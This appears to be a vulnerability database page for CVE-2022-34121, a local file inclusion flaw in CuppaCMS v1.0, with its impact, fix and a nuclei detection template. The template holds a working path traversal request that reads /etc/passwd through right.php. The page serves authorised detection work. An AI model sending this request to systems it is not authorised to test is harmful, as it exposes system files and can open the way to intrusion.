HexBrain

Browse / CVEs / CVE-2022-34121

CVE-2022-34121· cuppacms / cuppacms· CWE-829

CuppaCMS v1.0 - Local File Inclusion

highseverity
7.5CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

Fix

Upgrade to the latest version of CuppaCMS or apply the provided patch to fix the LFI vulnerability.

How to confirm it

Send: POST /templates/default/html/windows/right.php
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-34121 -u <target>

The full check
id: CVE-2022-34121

info:
  name: CuppaCMS v1.0 - Local File Inclusion
  author: edoardottt
  severity: high
  description: |
    Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Upgrade to the latest version of CuppaCMS or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
    - https://github.com/CuppaCMS/CuppaCMS/issues/18
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34121
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34121
    cwe-id: CWE-829
    epss-score: 0.03877
    epss-percentile: 0.90299
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,cms,cuppacms,vkev,vuln

http:
  - raw:
      - |
        POST /templates/default/html/windows/right.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=../../../../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from